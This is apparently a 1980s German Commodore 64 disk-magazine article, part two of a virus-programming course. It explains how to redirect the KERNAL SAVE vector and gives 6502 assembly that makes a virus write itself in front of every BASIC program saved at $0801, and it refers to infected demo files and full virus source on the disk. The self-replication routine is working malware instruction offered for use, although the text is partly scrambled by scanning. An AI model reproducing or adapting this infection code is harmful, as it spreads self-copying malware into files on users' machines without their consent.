Virus-Programmierkurs          
 Sicher  haben  Sie  schon  gespannt  auf  das
 Erscheinen  der  Augustausgabe  von  Magic
 Disk 64 gewartet. Denn  in  unserem  Virus-Programmierkurs  wird' s  jetzt  langsam
 ernst. Heute  wollen  wir  uns - wie  in  der
 letzten  Ausgabe  besprochen - um  die
 Artenerhaltung  unseres  Virus  kümmern, damit  er  auch  viele  kräftige  und  gesunde
 Nachkommen  haben  wird!
 An  dieser  Stelle  sei  noch  erwähnt, daß
 sich  auf  der  Magic  Disk  folgende  Programme  befinden, die  alle  mit  diesem
 Kurs  zusammenhängen:
" MD-VIRUS" ist  ein  infiziertes  Gag-Pro- gramm, das  zur  Aktivierung  des  Virus
 dient. Der  Syntax-Error  am  Programmende
 gehört  so  und  ist  kein  Programmfehler!
" MDV-SOURCE" ist  der  Sourcecode (= Quellcode) im  Hypra-Ass- Format  zum  Virus.
 Falls  Sie  Hypra-Ass  nicht  besitzen, so
 hilft  Ihnen  sicherlich 
" MDV-SOURCE. ASC" weiter. Das  ist  der
 Source-Code  als  ASCII-File  gespeichert.
 Dieser  kann  ohne  Probleme  mit  GET# von
 der  Diskette  gelesen  und  ausgedruckt
 werden.
 Doch  nun  wollen  wir  ans " Eingemachte" gehen  und  uns  mit  der  Programmierung
 selbst  befassen.
 Zuerst  wollen  wir  uns  überlegen, wann
 die  Brunftzeit ( die  Zeit, an  der  sich
 der  Virus  vermehrt) für  unser  kleines
 Tierchen  am  günstigsten  ist. Da  sticht
 der  Vorgang  des  Diskettenzugriffs  natürlich  sofort  ins  Auge, denn  dann  ist  es
 am  unauffälligsten, da  die  Diskettenstation  sowieso  läuft. Und  außerdem  teilt
 uns  der  Programmierer  bei  einer  solchen
 Aktion  auch  gleich  mit, wie  man  ein  zu
 infizierendes  Programm  beim  Namen  nennt.
 Man  muß  also  nicht  noch  aufwendig  auf
 der  Diskette  nach  Programmen  und  deren
 Namen  suchen.
 Gesagt - getan. Um  dies  zu  verwirklichen, müssen  wir  prinzipiell  nur  den
 Speichervorgang  an  sich  abfangen  können.
 Das  heißt, unser  Virus  muß  sich  immer
 dann  einschalten, wenn  das  Betriebssystem  des  C64 vom  Benutzer  dazu  bewegt
 wird, Daten  zum  Floppy  zu  schicken.
 Dieses  Problem  kann  sehr  einfach  gelöst
 werden. Das  Betriebssystem  benutzt  nämlich  einen  Vektor, der  auf  die  eigentliche  Save-Routine  zeigt. Zur  Erklärung:
 Ein  Vektor  sind  zwei  Speicherzellen, deren  Inhalt  im  Low-High- Format  auf  ein
 entsprechendes  Unterprogramm  zeigt. Vektoren  können  mit  indirekten  Sprüngen
 adressiert  werden. Speichert  man  z. B. in
 den  Speicherzellen $1000 und $1001 die
 Werte $ af  und $ c0, so  wird  bei  dem
 Maschinensprachebefehl  JMP ($1000) die
 Adresse $ c0 af  angesprungen.
 Der  SAVE-Vektor  steht  in  den  Speicherzellen $0332 und $0333(= dezimal 818 und
819) . Bei  jedem  SAVE-Befehl  wird  indirekt  über  diesen  Vektor  gesprungen. Ein
 idealer  Platz  also  für  einen  Virus, um
 in  das  Geschehen  einzugreifen. Er  muß
 nur  bei  seiner ( einmaligen) Initialisierung  diesen  Vektor  auf  eine  eigene
 Routine " verbiegen" . Bis  zum  Ausschalten
 des  Computers  wird  dann  bei  jedem  SAVE-Befehl  die  eigene  Routine  angesprungen.
 Zur  Vervollständigung  des  Gesagten  sei
 noch  erwähnt, daß  dieser  Vektor  eigentlich  schon  mitten  in  der  SAVE-Routine
 angesprungen  wird. Doch  das  ist  für  uns
 nur  von  Vorteil, da  er  genau  dann  aufgerufen  wird, nachdem  alle  Voreinstellungen  erledigt  wurden, und  wir  diese  deswegen  nicht  noch  selbst  erledigen  müssen. Um  diesen  Vorgang  genauer  zu  erläutern, muß  ich  Ihnen  zunächst  die  SAVE-Routine  etwas  näher  beschreiben:
 Wie  Sie  ja  vielleicht  wissen, wird  die
 SAVE-Routine  des  Betriebssystems  mit  dem
 Befehl  JSR $ FFD8 aufgerufen. Vorher  muß
 man  aber  noch  einige  Parameter  wie  Laufwerk, Programmname, Startund  Endadresse  etc. festlegen. Diese  Parameter
 werden  folgendermaßen  übergeben:
 SETPAR  setzt  Geräteund  Sekundäradresse SETNAM  übergibt  Programmnamen  und - Länge Jetzt  müssen  Anfangsund  Endadresse  in
 zwei  Speicherzellen  in  der  Zeropage
 festgelegt  werden. Am  besten  eignen  sich
 die  Adressen $ FB  und $ FC, da  sie  vom
 Betriebssystem  sonst  nicht  verwendet
 werden.
 Nun  den  Zeiger  auf  die  erste  dieser
 Speicherzellen  in  den  Akku  laden, Endadresse  des  abzuspeichernden  Bereichs  in  X
 und  Y-Register  laden  und  SAVE  aufrufen.
 Damit  das  verständlicher  wird, folgt
 hier  zunächst  das  Quellisting  einer
 Maschinenspracheroutine, die  den  Speicherbereich  von $0801 bis $11 AB  unter
 dem  Namen " DEMOSAVE" auf  Diskette
 abspeichert:
10 -.ba $c000 ;Basisadresse 20 -.eq save = $ffd8 ;Konstanten- 30 -.eq setpar = $ffba ;definitionen 40 -.eq setnam = $ffbd ; 50 -; 100 - lda #$01 ;Filenummer 110 - ldx #$08 ;Geräteadresse 120 - ldy #$01 ;Sekundäradresse 130 - jsr setpar ;Parameter setzen 140 - lda #$08 ;Länge des Namens
150 - ldx #<(name) ;Adresse low 160 - ldy #|(name) ;Adresse high 170 - jsr setnam ;Namen setzen 180 - ldx #$01 ;Anfangsadresse low 190 - ldy #$08 ;Anfangsadresse high 200 - stx $fb ;in $fb und $fc 210 - sty $fc ;zwischenspeichern 220 - lda #$fb ;Zeiger auf Speicher 230 - ldx #$ab ;Endadresse low 240 - ldy #$11 ;Endadresse high 250 - jsr save ;SAVE anspringen 260 - rts ;fertig! 270 -; 280 -name .tx "demosave"
 Werfen  wir  nun  einen  kleinen  Blick " hinter  die  Kulissen"- sprich  ins  Betriebssystem. Dabei  beginnen  wir  an  der  Stelle, an  der  auch  die  SAVE-Routine
 beginnt, nämlich  bei  Adresse $ FFD8 . Hier
 ein  kleiner  Auszug, wie  Sie  ihn  sich  mit
 einem  Disassembler  bzw. Speichermonitor
 auch " live" ansehen  können:
 FFD8 JMP $ F5 DD 
 Es  wird  also  nur  ins  Innere  des  Systems
 weitergesprungen. Dort  verfolgen  wir  das
 Betriebssyetem  weiter:
 F5 DD  STX $ AE  ; Low-Byte  Endadresse  speichern 
F5DF  STY $AF    ;High-Byte Endadresse  
                  speichern             
F5E1  TAX        ;Zeiger auf Anfangs-   
                  adresse ins X-Register
F5E2  LDA $00,X  ;Low-Byte der Anfangs- 
                  adresse holen         
F5E4  STA $C1    ;und speichern         
F5E6  LDA $01,X  ;dasselbe mit dem      
F5E8  STA $C2    ;High-Byte             
F5EA  JMP ($0332);Save-Vektor           
 Sie  sehen, daß  erst  in  der  letzten  Zeile
 auf  die  SAVE-Routine  verzweigt  wird. Die
 übrigen  Zeilen  sind  nur  dazu  da, die  Parameter  für  später  zwischenzuspeichern.
 Hier  also  ist  der  Punkt, an  dem  unser
 Virus  eingreifen  darf. Er  sollte  somit
 auch  alle  Funktionen  übernehmen, die  das
 Betriebssystem  normalerweise  ausführt, nur  daß  er  sich  zusätzlich  auch  noch
 mitspeichert. Um  herauszufinden, was
 genau  er  da  tun  soll, verfolgen  wir  die
 normale  Saveroutine  weiter:
 Einsprung  über  Vektor $0332/$0333 von
$ F5 EA:
 F5 ED  LDA $ BA  ; Geräteadresse  laden  F5 EF  BNE $ F5 F4 ; wenn <|0 dann  weiter  F5 F1 JMP $ F713 ;" ILLEGAL  DEVICE  NUMBER  ERROR" ausgeben  F5 F4 CMP #$03 ; vergleiche  mit  Bild-
                 schirmcode             
F5F6  BEQ $F5F1 ;wenn ja, dann Fehler   
F5F8  BCC $F659 ;wenn <3, dann Sprung zu
                 Test auf RS232 oder    
                 Cassette               
F5FA  LDA #$61  ;Sekundäradresse        
F5FC  STA $B9   ;zwischenspeichern      
F5FE  LDY $B7   ;Filenamenlänge holen   
F600  BNE $F605 ;|0, dann weiter        
F602  JMP $F710 ;"MISSING FILE NAME     
                 ERROR" ausgeben        
F605  JSR $F3D5 ;Filename auf IEC-Bus   
F608  JSR $F68F ;"SAVING" ausgeben      
F60B  LDA $BA   ;Geräteadresse laden    
F60D  JSR $ED0C ;und LISTEN senden      
F610  LDA $B9   ;Sekundäradresse holen  
F612  JSR $EDB9 ;und für LISTEN senden  
 F615 LDY #$00 ; Zähler  auf 0 setzen  F617 JSR $ FB8 E  ; Startadresse  nach $ AC/$ AD  kopieren  F61 A  LDA $ AC  ; Startadr.- Low  laden  F61 C  JSR $ EDDD  ; und  senden  F61 F  LDA $ AD  ; Startadr.- High  laden  F621 JSR $ EDDD  ; und  senden 
 Ab  hier ( also  ab $ F624) folgt  noch  eine
 kleine  Routine, die  jedes  Byte  bis  zur
 Endadresse  durchgeht, mit  der  Routine
 bei $ EDDD  an  die  Floppy  sendet  und  anschließend  das  File  wieder  schließt  und
 zurückspringt.
 Wie  Sie  sehen, ist  der  erste  Teil  nur
 dazu  da, die  Geräteadresse  zu  überprüfen
 und  die  entsprechenden  Fehlermeldungen
 auszugeben. Anschließend  kommt  erst  der
 Anfang  der  eigentlichen  Saveroutine.
 Hier  wird  dann  das " saving" ausgegeben
 und  der  Floppykanal  geöffnet. Bis  zur
 Adresse $ F617 alles  Dinge, die  für  uns
 unwichtig  sind, und  die  wir  auch  einfach
 in  unserem  Virus  übernehmen  werden, damit  er  auch  voll  kompatibel  zum
 Betriebssystem  ist.
 Erst  ab $ F61 A  wird  es  für  uns  interessant. Hier  werden  nämlich  Lowund  Highbyte  der  Anfangsadresse  des  zu  savenden
 Bereichs  an  die  Floppy  geschickt, damit
 die  Loadroutine  später  weiß, wohin  sie
 das  eingeladene  Programm  legen  soll.
 Dieser  Teil  ist  deshalb  so  wichtig  für
 uns, weil  wir  unseren  Virus  grundsätzlich  nur  vor  Programme  kopieren  lassen
 wollen, die  an  den  normalen  Basicstart
( also $0801) geladen  werden, da  man  hier
 davon  ausgehen  kann, daß  das  entsprechende  Programm  mit  RUN  gestartet  werden
 muß. Würde  sich  der  Virus  auch  vor
 Maschinenprogramme  kopieren, die  beispielsweise  bei $ C000 anfangen, dann
 könnte  das  verheerende  Folgen  haben, da
 er  selbst  ja  ein  mit  RUN  startbares  Programm  ist  und  man  ihn  nicht  einfach  mit
 einem  SYS  starten  kann.
 Also  müssen  wir  an  dieser  Stelle  überprüfen, an  welcher  Stelle  sich  das  zu
 savende  Programm  befindet. Ist  das  nicht
$0801, so  hält  sich  unser  Virus  schön
 brav  im  Hintergrund  und  tut  gar  nichts.
 Ist  es  aber  ein  Programm, das  bei $0801 beginnt, so  soll  er  sich  mitkopieren.
 Also  bauen  wir  an  dieser  Stelle  noch  ein
 paar  Vergleichsbefehle  ein:
      LDA $AC   ;Lo-Byte Anfangsadresse 
      CMP #01   ;= $01?                 
      BEQ LAB1  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB1  JSR $EDDD ;Lo-Byte senden         
      LDA $AD   ;Hi-Byte Anfangsadresse 
      CMP #$08  ;= $08?                 
      BEQ LAB2  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB2  JSR $EDDD ;Hi-Byte senden         
      CPY #$01  ;Flag gesetzt?          
      BNE OKAY  ;nein, also vermehren!  
      LDY #$00  ;Ja, Y zurücksetzen     
      JMP $F624 ;normal weitersaven     
Hier die genaue Funktionsweise: Das Y-Registerwurde bei $ F615 ja mit 00 geladen. Sollte jetzt bei einem Vergleich ein Wert ungleich dem verglichenem Wert sein, so wird das Y-Register mit dem Wert 01 beschrieben und erst dann das Byte gesendet. In der Folge wird dann verglichen, ob das Y-Register noch 0 ist. Ist das der Fall, so darf sich der
 Virus  kopieren. Ansonsten  verzweigt  das
 Programm  in  die  normale  Saveroutine.
 In  dieser  Form  konnten  wir  die  Assemblerbefehle  bisher  aus  dem  Betriebssystem
 übernehmen. Jetzt  müssen  wir  auch  einmal
 etwas  eigenes  leisten, nämlich  eine  Routine  schreiben, die  den  Virus  an  die
 Floppy  sendet. Bis  jetzt  sind  der  Floppykanal  geöffnet  und  die  Startadresse
 übergeben. Normalerweise  würde  jetzt  das
 zu  savende  Programm  kommen, doch  das
 soll  ja  gerade  nicht  der  Fall  sein. Wir
 müssen  zuerst  den  Virus  an  die  Floppy
 senden  und  dann  das  eigentliche  Programm. Dieses  Problem  lösen  wir  folgendermaßen:
OKAY  LDA #<(DATA) ;Lo-Anfangsadresse   
      STA $FB      ;des Virus setzen    
      LDA #|(DATA) ;dasselbe mit dem    
      STA $FC      ;Highbyte            
      LDA #<(ENDE) ;Lo-Endadresse       
      STA $F9      ;setzen              
      LDA #|(ENDE) ;dasselbe mit dem    
      STA $FA      ;Highbyte            
      LDY #$00     ;Zähler löschen      
LOOP  LDA ($FB),Y  ;Zeichen laden       
      JSR $EDDD    ;und senden          
      JSR INCCOUNT ;Zähler um 1 erhöhen 
      BCC LOOP     ;Weiter, wenn noch   
                    nicht Endadresse    
      JSR SAVECONT ;Wenn doch, dann     
                    Programm saven      
 Zur  Dokumentation: Am  Anfang  setzen  wir
 Startund  Endadresse. Die  Endadresse
 hinterlegen  wir  in $ F9/$ FA, da  die
 INCCOUNT-Routine  diese  Werte  zum  Vergleichen  braucht. Diese  Routine  steht  in
 unserem  Source-Listing  übrigens  ab  Zeile
8210 und  soll  an  anderer  Stelle  näher
 erläutert  werden. Soviel  sei  aber  schon
 hier  gesagt:
 Die  Routine  erhöht  den  Zeiger  in $ FB/$ FC  und  vergleicht  ihn  mit  der  Endadresse, die  wir  ja  in $ F9/$ FA  abgelegt
 haben. Sind  beide  Adressen  gleich, so
 setzt  sie  das  Carryflag, womit  die  Abfrage  nach  JSR  INCCOUNT  zu  erklären  ist.
 Ist  das  Carryflag  gelöscht, so  ist  das
 Ende  noch  nicht  erreicht  und  die
 Schleife  wird  wiederholt. Im  Anschluß
 wird  dann  wieder  die  normale  Saveroutine
 des  Betriebssystems  angesprungen, um  das
 eigentliche  Programm  abzuspeichern. In
 der  Konstanten  SAVECONT  ist  die  Zahl
 bzw. Adresse $ F624 gespeichert.
 Hiermit  sind  wir  am  Ende  des  zweiten
 Teils  des  Virusprogrammierkurses  angelangt. Die  oben  beschriebene  Saveroutine
 finden  Sie  ab  Zeile 2220 im  Sourcelisting, allerdings  mit  zwei  kleinen
 Abweichungen. Die  eine  hat  mit  der  Vermehrung  beim  Laden  zu  tun, die  wir  nächsten  Monat  besprechen  wollen. Und  die
 andere  ist  für  den  kleinen  Gag  zuständig, mit  dem  der  Virus  auf  sich  aufmerksam  machen  soll.
 Bis  zum  nächsten  Teil  bleibt  uns  nur
 noch, Ihnen  viel  Spaß  in  Ihrer  Aktivität
 als  Virologe  zu  wünschen.